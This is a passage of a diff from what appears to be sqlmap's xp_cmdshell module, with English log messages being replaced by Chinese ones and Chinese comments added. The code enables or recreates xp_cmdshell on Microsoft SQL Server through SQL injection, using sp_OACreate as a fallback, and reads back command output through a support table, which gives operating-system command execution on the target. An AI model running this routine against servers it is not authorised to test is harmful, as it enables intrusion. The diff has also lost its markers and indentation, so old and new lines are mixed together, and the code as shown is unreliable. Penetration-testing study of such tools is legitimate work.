# 使用不同的技术获取输出
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
# 如果没有输出,尝试分批获取
if (output is None) or len(output) == 0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
@ -229,8 +316,10 @@ class XP_cmdshell(object):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
# 清理支持表
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
# 处理输出格式
if output and isListLike(output) and len(output) > 1:
_ = ""
lines = [line for line in flattenValue(output) if line is not None]
@ -246,57 +335,59 @@ class XP_cmdshell(object):
return output
def xpCmdshellInit(self):
"""
初始化xp_cmdshell功能
主要步骤:
1. 检查xp_cmdshell是否可用
2. 如果不可用,尝试启用或创建新的xp_cmdshell
3. 创建支持表用于存储命令输出
4. 测试xp_cmdshell功能
"""
if not kb.xpCmdshellAvailable:
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, please wait.."
infoMsg = "检查xp_cmdshell扩展存储过程是否可用,请稍候.."
logger.info(infoMsg)
result = self._xpCmdshellCheck()
if result:
logger.info("xp_cmdshell extended procedure is available")
logger.info("xp_cmdshell扩展存储过程可用")
kb.xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
message = "xp_cmdshell扩展存储过程似乎不可用。"
message += "是否要让sqlmap尝试重新启用它? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._xpCmdshellConfigure(1)
if self._xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
logger.info("xp_cmdshell成功重新启用")
kb.xpCmdshellAvailable = True
else:
logger.warning("xp_cmdshell re-enabling failed")
logger.warning("xp_cmdshell重新启用失败")
logger.info("creating xp_cmdshell with sp_OACreate")
logger.info("使用sp_OACreate创建xp_cmdshell")
self._xpCmdshellConfigure(0)
self._xpCmdshellCreate()
if self._xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
logger.info("xp_cmdshell创建成功")
kb.xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
warnMsg = "xp_cmdshell创建失败,"
warnMsg += "可能是因为sp_OACreate被禁用"
logger.warning(warnMsg)
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
if not kb.xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
errMsg = "无法在没有xp_cmdshell的情况下继续"
raise SqlmapUnsupportedFeatureException(errMsg)
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
debugMsg = "创建支持表以写入命令标准输出"
logger.debug(debugMsg)
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
# 创建支持表,使用NVARCHAR(4000)而不是TEXT类型
# 因为在错误技术中TEXT类型不能比较或排序
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self._xpCmdshellTest()

Loading…
Cancel
Save